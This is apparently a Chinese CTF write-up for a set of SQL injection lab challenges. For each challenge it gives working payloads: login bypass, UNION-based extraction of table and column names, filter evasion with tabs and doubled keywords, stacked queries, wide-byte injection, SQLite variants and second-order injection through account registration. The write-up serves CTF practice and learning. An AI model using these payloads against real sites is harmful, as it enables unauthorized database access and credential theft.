请勿截屏传播

青岑CTF-SQL注入WP

简单的万能密码:

1.EZSQL

简单的万能密码:

text
/?username=admin' or 1=1 %23&password=123

2.EZSQL1

先查看闭合方式:

text
/?username=admin' or 1=1 %23&password=123 //回显Welcome admin

基本上确定是单引号闭合了,然后看数据库长度

text
/?username=admin' order by 5 %23&password=123 //报错,所以数据库长度为4

下面就查看哪个位置有回显

text
/?username=-admin' union select 1,2,3,4 %23&password=123 //回显Welcome 2

所以2这个地方是能回显东西的

text
/?username=-admin' union select 1,database(),3,4 %23&password=123 //回显Welcome user

库的名字是user,然后查看表名

text
/?username=-admin' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='user' %23&password=123 //回显Welcome flag

表名是flag,接下来看列名

text
/?username=-admin' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='user' and table_name='flag' %23&password=123 //回显Welcome id,name,passwd,secret

最后直接查看这四个参数

text
/?username=-admin' union select 1,group_concat(id,name,passwd,secret),3,4 from flag %23&password=123 //回显1 admin admin123 flag

3.EZSQL2

先查看闭合方式:

text
/?username=admin' or 1=1 %23&password=123 //回显Welcome admin

回显Illegal SQL injection翻译过来就是非法的SQL注入,经过测试是空格被过滤了,可以使用%09来绕过

text
/?username=admin'%09or%091=1%09%23&password=123 //回显Welcome admin

接下类的操作就和上一题类似了

text
/?username=-admin'%09union%09select%091,group_concat(id,name,passwd,secret),3,4%09from%09flag%09%23&password=123

4.EZSQL3

先试一下

text
/?username=admin' or 1=1 %23&password=123 //回显非法sql

再试一下

text
/?username=admin'%09or%091=1%09%23&password=123 //回显SQL Error: SELECT * FROM flag WHERE name = 'admin' 1=1 #' AND passwd = '123'

最后使用了

text
/?username=admin'%09%09%23&password=123 //回显Welcome admin

接下来应该就和上一题类似了

text
/?username=-admin'%09union%09select%091,group_concat(id,name,passwd,secret),3,4%09from%09flag%09%23&password=123 //结果报错SQL Error: SELECT * FROM flag WHERE name = '-admin' 1,group_concat(id,name,passwd,secret),3,4 #' AND passwd = '123' 

分析:既然报错了,按理说应该是

text
SQL Error: SELECT * FROM flag WHERE name = '-admin'%09union%09select%091,group_concat(id,name,passwd,secret),3,4%09from%09flag%09%23&password=123'

可是这里的union、select、from、flag不见了???被过滤了呗,双写绕过

text
/?username=-admin'%09ununionion%09seselectlect%091,group_concat(id,name,passwd,secret),3,4%09frfromom%09flaflagg%09%23&password=123

5.EZSQL4

联合查询,和2差不多

6.EZSQL5

不是很懂,先试了联合查询,发现union select 好像被过滤了,大小写,双写都绕不过去。然后试了一下堆叠注入,即使用分号(;)来执行多个语句,

text
/?id=1';show tables;%23

发现了flag表,然后就执行下面的语句

text
/?id=1';handler flag open;handler flag read first;-- //意思是打开flag表,读第一条数据

总之还得是康神!!!!!!

7.EZSQL6

布尔盲注:

8.EZSQL8

9.EZSQL9

宽字节注入(用SQLmap测的),说白了,有了第一题第二题的经验,直接复制过来就行了。

text
/?username=1%df' union select 1,group_concat(id,name,passwd,secret),3,4 from flag %23&password=123

10.EZSQL10

这个数据库不是MYSQL,而是SQLite,所以#在该数据库用不了,改成-- ,group_concat()函数也不能支持查看多个参数,需要使用||来连接,例如:

text
-- 错误 ❌
group_concat(id, name, age)

-- 正确 ✅  
group_concat(id || '-' || name || '-' || age)
-- 或
group_concat(id || ',' || name || ',' || age)

其他步骤和联合查询类似,不再赘叙。

11.EZSQL11

SQLite的布尔盲注,呜呜呜,依旧脚本

wuwu,只会ai生成脚本,haoFW啊!!!!

12.EZSQL12

给了一个可注册账号的界面,在sql注入中出现,八成就是二次注入了。 大致步骤就是

步骤动作例子
① 写入在注册/发帖等位置输入 payloadusername = "admin'--"
② 存储程序转义后安全入库库中存的是 admin'--
③ 读取后续功能从库里取出这条数据修改密码时读取 username
④ 触发取出的数据直接拼进新 SQLWHERE username='admin'--'
先注册一个账号为:1' or 1=1 # 的号,密码随心。不过没想到的是,登录进去就能看见flag了,并非真正意义上的二次注入。

13.EZSQL13

这个是真正意义上的二次注入,大概意思就是用联合注入(这里我用的是联合注入的payload)来注册账号,然后登录去查看里面的回显,最终的payload是

text
1' union select group_concat(flag) from  flags //点开我的笔记就能看见flag了
Dirsearch Sqlmap(Windows)
NewStar2025-WP

评论区

评论加载中...